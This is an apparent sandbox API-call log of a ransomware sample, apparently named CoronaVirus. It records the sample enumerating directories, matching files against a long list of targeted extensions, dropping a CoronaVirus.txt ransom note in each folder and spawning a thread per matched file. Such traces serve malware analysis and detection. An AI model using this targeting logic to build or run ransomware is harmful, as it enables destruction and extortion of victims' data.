	[0081.110] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.110] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0081.110] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.110] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0081.110] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.110] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0081.110] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.110] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0081.110] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.110] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0081.110] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.110] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0081.110] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.110] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0081.110] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.110] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0081.110] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.110] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0081.110] malloc (_Size=0x1000) returned 0x2f13060
	[0081.110] _swprintf (in: param_1=0x2f13060, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0081.110] wcsstr (_Str="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0081.110] wcsstr (_Str="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0081.110] wcsstr (_Str="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0081.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f13060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x454
	[0081.111] SetThreadPriority (hThread=0x454, nPriority=15) returned 1
	[0081.113] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0081.113] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0081.113] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0081.113] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.113] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0081.113] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.113] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0081.119] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.119] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0081.119] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.119] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0081.119] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.119] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0081.119] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.119] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0081.119] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.119] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0081.119] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.125] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0081.125] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.130] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0081.131] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.132] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0081.132] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.132] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0081.132] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.132] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0081.132] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.132] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0081.132] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.132] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0081.132] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.132] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0081.132] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.132] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0081.132] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.132] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0081.132] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.132] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0081.132] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.132] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0081.132] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.132] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0081.132] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.132] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0081.132] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.132] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0081.132] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.132] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0081.132] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.132] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0081.132] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.132] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0081.132] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.132] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0081.133] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.133] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0081.133] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.133] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0081.133] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.133] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0081.133] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.133] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0081.133] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.133] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0081.133] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.133] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0081.133] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.133] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0081.133] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.133] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0081.133] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.133] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0081.133] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.133] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0081.133] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.133] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0081.133] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.133] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0081.133] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.133] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0081.133] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.133] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0081.133] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.133] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0081.133] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.133] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0081.133] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.133] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0081.134] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.134] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0081.134] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.134] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0081.134] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.134] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0081.134] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.134] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0081.134] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.134] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0081.134] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.134] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0081.134] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.134] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0081.134] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.134] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0081.134] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.134] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0081.134] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.134] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0081.134] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.134] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0081.134] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.134] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0081.134] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0081.135] FindClose (in: hFindFile=0x6009d0 | out: hFindFile=0x6009d0) returned 1
	[0081.135] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1037", cAlternateFileName="")) returned 1
	[0081.135] wcsncmp (_String1="1", _String2=".", _MaxCount=0x1) returned 3
	[0081.135] wcsncmp (_String1="10", _String2="..", _MaxCount=0x2) returned 3
	[0081.135] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1037") returned 26
	[0081.135] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0081.135] wcsstr (_Str="C:\\588bce7c90097ed212\\1037", _SubStr="Microsoft\\Windows") returned 0x0
	[0081.135] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\1037\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\1037\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0081.141] _alloca_probe () returned 0x4036d0
	[0081.141] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1037", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\1037", lpFilePart=0x316583c*="1037") returned 0x1a
	[0081.141] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe9b8eaa1, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600d10
	[0081.141] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.141] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe9b8eaa1, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.141] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.141] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9b8eaa1, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xe9b8eaa1, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0081.141] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0081.141] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0081.141] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.141] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0081.141] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.141] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0081.141] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.141] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0081.141] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.141] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0081.141] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.141] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0081.141] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.141] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0081.142] malloc (_Size=0x1000) returned 0x2f192b0
	[0081.142] _swprintf (in: param_1=0x2f192b0, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1037\\CoronaVirus.txt") returned 42
	[0081.142] wcsstr (_Str="C:\\588bce7c90097ed212\\1037\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0081.142] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0081.142] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0081.142] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0081.142] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.142] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0081.142] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.142] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0081.142] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.142] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0081.142] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.142] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0081.142] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.142] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0081.142] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.142] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0081.142] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.142] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0081.142] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.142] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0081.142] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.142] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0081.142] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.142] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0081.142] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.142] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0081.142] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.142] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0081.142] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.142] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0081.142] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.142] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0081.142] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.142] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0081.143] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.143] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0081.143] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.143] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0081.143] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.143] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0081.143] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.143] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0081.143] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.143] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0081.143] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.143] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0081.143] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.143] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0081.143] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.143] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0081.143] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.143] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0081.143] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.143] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0081.143] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.143] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0081.143] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.143] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0081.143] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.143] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0081.143] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.143] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0081.143] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.143] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0081.143] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.143] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0081.143] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.143] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0081.143] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.143] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0081.143] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.143] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0081.144] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.144] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0081.144] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.144] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0081.144] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.144] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0081.144] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.144] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0081.144] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.144] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0081.144] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.144] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0081.144] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.144] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0081.144] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.144] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0081.144] malloc (_Size=0x1000) returned 0x2f1a2b8
	[0081.145] _swprintf (in: param_1=0x2f1a2b8, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0081.145] wcsstr (_Str="C:\\588bce7c90097ed212\\1037\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0081.145] wcsstr (_Str="C:\\588bce7c90097ed212\\1037\\eula.rtf", _SubStr="wasse") returned 0x0
	[0081.145] wcsstr (_Str="C:\\588bce7c90097ed212\\1037\\eula.rtf", _SubStr="passw") returned 0x0
	[0081.145] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f1a2b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x440
	[0081.145] SetThreadPriority (hThread=0x440, nPriority=15) returned 1
	[0081.155] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0081.155] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0081.155] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0081.155] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.155] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0081.155] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.155] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0081.155] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.155] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0081.155] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.155] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0081.155] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.155] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0081.155] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.155] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0081.155] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.155] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0081.156] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.156] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0081.156] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.156] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0081.156] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.156] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0081.156] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.156] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0081.156] malloc (_Size=0x1000) returned 0x2f1a2b8
